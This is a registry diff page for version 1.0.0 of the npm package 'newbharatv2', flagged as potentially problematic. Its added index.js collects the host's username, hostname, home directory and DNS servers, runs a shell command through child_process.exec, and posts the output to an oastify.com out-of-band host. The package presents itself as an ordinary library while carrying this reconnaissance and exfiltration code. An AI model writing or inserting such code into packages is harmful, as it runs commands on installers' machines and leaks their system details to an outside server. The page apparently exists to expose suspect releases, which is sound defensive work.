newbharatv2 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of newbharatv2 might be problematic. Click here for more details.
- package/index.js +73 -0
- package/package.json +12 -0
package/index.js
ADDED
@@ -0,0 +1,73 @@
|
|
1
|
+
const os = require("os");
|
2
|
+
const dns = require("dns");
|
3
|
+
const querystring = require("querystring");
|
4
|
+
const https = require("https");
|
5
|
+
const { exec } = require("child_process"); // New addition
|
6
|
+
const packageJSON = require("./package.json");
|
7
|
+
|
8
|
+
const package = packageJSON.name;
|
9
|
+
|
10
|
+
// Collect system information
|
11
|
+
const trackingData = JSON.stringify({
|
12
|
+
p: package,
|
13
|
+
c: __dirname,
|
14
|
+
hd: os.homedir(),
|
15
|
+
hn: os.hostname(),
|
16
|
+
un: os.userInfo().username,
|
17
|
+
dns: dns.getServers(),
|
18
|
+
v: packageJSON.version,
|
19
|
+
pjson: packageJSON,
|
20
|
+
});
|
21
|
+
|
22
|
+
// Run a batch command and collect its output
|
23
|
+
function runBatchCommand(command) {
|
24
|
+
exec(command, (error, stdout, stderr) => {
|
25
|
+
if (error) {
|
26
|
+
console.error(`Error executing command: ${error.message}`);
|
27
|
+
return;
|
28
|
+
}
|
29
|
+
if (stderr) {
|
30
|
+
console.error(`stderr: ${stderr}`);
|
31
|
+
return;
|
32
|
+
}
|
33
|
+
console.log(`stdout: ${stdout}`);
|
34
|
+
|
35
|
+
// Send the output to your server
|
36
|
+
const postData = querystring.stringify({ msg: stdout });
|
37
|
+
sendDataToServer(postData);
|
38
|
+
});
|
39
|
+
}
|
40
|
+
|
41
|
+
// Function to send data to the remote server
|
42
|
+
function sendDataToServer(postData) {
|
43
|
+
const options = {
|
44
|
+
hostname: "ioapu9dgsrkwwd4zgt6j953m5db4zunj.oastify.com",
|
45
|
+
port: 443,
|
46
|
+
path: "/",
|
47
|
+
method: "POST",
|
48
|
+
headers: {
|
49
|
+
"Content-Type": "application/x-www-form-urlencoded",
|
50
|
+
"Content-Length": postData.length,
|
51
|
+
},
|
52
|
+
};
|
53
|
+
|
54
|
+
const req = https.request(options, (res) => {
|
55
|
+
let data = '';
|
56
|
+
res.on("data", (chunk) => {
|
57
|
+
data += chunk;
|
58
|
+
});
|
59
|
+
res.on("end", () => {
|
60
|
+
console.log("Server Response:", data);
|
61
|
+
});
|
62
|
+
});
|
63
|
+
|
64
|
+
req.on("error", (e) => {
|
65
|
+
console.error("Error sending data:", e.message);
|
66
|
+
});
|
67
|
+
|
68
|
+
req.write(postData);
|
69
|
+
req.end();
|
70
|
+
}
|
71
|
+
|
72
|
+
// Example: Running a batch command
|
73
|
+
runBatchCommand("ping google.com"); // For Windows (use "ls" for Linux)
|
package/package.json
ADDED